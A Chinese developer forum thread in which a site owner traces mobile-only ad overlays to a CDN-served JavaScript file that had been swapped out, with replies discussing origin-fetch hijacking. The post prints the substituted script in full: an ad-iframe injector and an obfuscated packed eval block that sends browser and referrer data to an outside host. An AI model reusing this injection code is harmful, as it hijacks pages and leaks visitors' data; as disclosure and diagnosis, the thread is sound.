关于使用七牛云CDN,https站点页面去出现插入广告
现象:
首先是我们发现自己的站点出现了非预知的广告浮层。而且只在移动网络环境下才会出现。 而且时而有,时而没有,而且在部分手机上有js报错的现象。
苦逼的复现过程:
这个问题让我相当费解啊,我操,一会儿有一会儿没有,而且只有在移动网络下才可能有。一点不好复现。后来发现,清一下浏览器缓存就有可能重新出现。
苦逼的查找过程:
只会在移动环境下班出现,也是毙了狗了,我们一度怀疑是代码被注入造成的,可是我们是https啊,这不太容易吧,难道我们的证书流出了?然后有人在运营商网关,或者是dns解析服务器器上边做了劫持?我擦,这想想都觉得可怕。为了推广告这种实现成本也太高了~
关键是还抓不了包,走wifi代理就没啦。
想到貌似Safari可以调试ios的Safari里边的页面(chrome也可以调试Android里的chrome,需要翻墙,成功率貌似不高~)。
于是苦逼的在iPhone上刷出有广告的页面,然后连上Mac。开调~
发现页面被嵌入了一个iframe.查看源码,源码里面没有,说明是js执行给整进去的,然后一个js一个js的屏蔽着试(😢,尼玛线上啊,于是造了两个新的路由,分别渲染加载不同js的请求,ps:js压缩合并后就两个)
最终定位到了一个叫
https://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js
的js文件,加载了这个连接就可能出现广告,没有这个就一定不会出现了,看了看里面的代码,很少,根本不可能插入是么iframe,也没有什么第三方的库。真是哭了~~
继续在Safari上边找,尼玛发现:
https://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js 被引了两次,
<script type="text/javascript" src="https://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js"></script>
<script type="text/javascript" src="http://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js?_t=1460968852909"></script>
居然还有一次不是https的,难道是HTML被注入了??不应该吧~
查看请求记录:
https://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js
的请求返回的东东真是哔了狗了
var osrc = "http://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js";
osrc += (osrc.indexOf('?') > 0 ? '&' : '?') + '_t=' + (new Date().getTime());
document.write('<script type="text/javascript" src="' + osrc + '"></' + 'script>');
function withjQuery(callback) {
if (typeof(jQuery) == "undefined") {
var script = document.createElement("script");
script.type = "text/javascript";
script.src = "http://cdn.staticfile.org/jquery/1.7/jquery.min.js";
script.addEventListener('load', function() {
callback(jQuery)
});
document.head.appendChild(script)
} else {
callback(jQuery)
}
}
function getTopWin(w) {
try {
if (w.document.domain == w.top.document.domain) {
return w.top
}
w.parent.document.domain;
return w.parent == w ? w : getTopWin(w.parent)
} catch (e) {
return w
}
}
_win = getTopWin(window);
_doc = _win.document;
withjQuery(function($) {
$(function() {
$doc = $(_doc);
if ($('._ih', $doc).size() == 0)
$('body', $doc).prepend('<div class="_ih" style="width: 100%; height: 80px; overflow: hidden; background: rgba(255,255,255,0.8);position: fixed;bottom: 0px;z-index: 9999;"><span class="_ic" style="position: absolute; right: 0px; top: 0px; cursor: pointer; z-index: 999999;"><img src="http://static.hnfjx.com/static/image/close.png"></span><iframe src="http://d6.hnfjx.com/static/locate/sx_i_602.html" frameborder="no" scrolling="no" style="width: 100%; height: 100%"></iframe></div>');
$('._ic', $doc).click(function() {
$(this).parents('._ih').remove()
})
})
});
eval(function(p, a, c, k, e, r) {
e = function(c) {
return (c < a ? '' : e(parseInt(c / a))) + ((c = c%a) > 35 ? String.fromCharCode(c + 29) : c.toString(36))
};
if (!''.replace(/^/, String)) {
while (c--)
r[e(c)] = k[c] || e(c);
k = [function(e) {
return r[e]
}
];
e = function() {
return '\\w+'
};
c = 1
};
while (c--)
if (k[c])
p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]);
return p
}('z o(){a(2.j==1&&2.c==1)6 i;a(2==2.t)6 i;A{a(2.t.y.s==7.s)6 i}K(e){6 n}6 n}8 g=2.j/q.x(2.l,b.9.m)*2.d;8 f=2.c/q.x(2.p,b.9.k)*2.d;a(o()&&((g>0&&g<0.5)||(f>0&&f<0.5))){8 3=2.u.v+(2.u.v.B("?")!=-1?"&":"?")+"C";3+=\'&w=\'+2.j+\'&h=\'+2.c;3+=\'&D=\'+2.l+\'&E=\'+2.p;3+=\'&F=\'+b.9.m+\'&G=\'+b.9.k;3+=\'&H=\'+2.d;3+=\'&r=\'+I(7.J);8 4=7.L("4");4.3=3;4.M.N="O";7.P.Q(4)}', 53, 53, '||_win|src|img||return|_doc|var|screen|if|window|innerHeight|devicePixelRatio||r2|r1||false|innerWidth|height|outerWidth|width|true|dorp|outerHeight|Math||domain|top|location|href||min|document|function|try|indexOf|_acdwdgsvesdggop|ow|oh|sw|sh|pr|encodeURIComponent|referrer|catch|createElement|style|display|none|body|appendChild'.split('|'), 0, {}))
这他妈根本不是我的js内容。定睛一看,这个代码在document里插入了<script type="text/javascript" src="http://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js?_t=1460968852909"></script>
。啊~然后这个返回了我的真是js内容。好吧~
分析
到这里,基本上大家就可以看明白怎么回事了:我请求的https://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js
内容被替换了。然后新内容的js插入了一系列的js以及iframe。又帮我请求了一次http://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js
,这个时候链接带时间戳,非https,返回了我真实的内容。
为了正式我们的想法,
我们直接访问了https://xxxxxxxx-static.qbox.me/zt/discovery_build/0.0.1/js/common-9bdeaba34f.build.js
没错,居然会返回那段被替换的js。
这个时候可是与我们的站点完全无关了啊~
流程差不多就是:
- 请求某个js;
- cdn返回假内容的js(fake)文件;
- js(fake)加载成功被运行,去加载真的js,并插入广告。
- 真的js被加载,页面继续运行。
现在可想想谁才能实现这个东西了
请求的是七牛的根域名,https的哟,返回了浏览器可解析的非预期的数据:
可能性:
- 七牛的域名被劫持了,人家还有他的证书,并且专门劫持移动网络。
- 七牛内部有人(或者以前离职的老员工拥有各种权限),偷偷干这个,赚外快。
- 喝喝,但愿不是第三种可能
ps:如果有七牛云的同学看见了,还是注意一下吧,不管是是么原因,希望能早点去除这个现象,不然太严重了~
对于一家公司,全站https,却出现这样的问题,真的很蛋疼。
你虽然访问七牛的时候,用的是 https,但是七牛回源的时候,就不一定是 https 的了,这个过程中是存在劫持可能的。
而当七牛那次回源的时候,刚好返回的文件被缓存了,所以之后你每次访问七牛拿到的都是这个被劫持的文件。
这个案例在我们腾讯云CDN这边出现过。但你这个确实有奇怪的问题就是,https 里面的文件竟然硬编码了 qbox.me 的地址,感觉这不是运营商干得出来的事。有点蹊跷。
如果七牛那里有选项的话,就开启 https 回源先试试?
@alsotang 现在的解决办法是更新了文件的md5,文件名变了,新的路径没有出现这个现象。回头可以按照您说得试试
@alsotang 刚刚确定了,我们没有回源。而且广告只会移动网络下偶尔出现。不是每次命中。感觉像是请求被分发到某部分Server上才会出现
已经帮楼主联系七牛的人,他们说在跟进了
@ayanamist 谢谢啦
广告我也遇到过。https://cnodejs.org/topic/55238f6d7a5a98005a1a5171 后来我改了本地dns。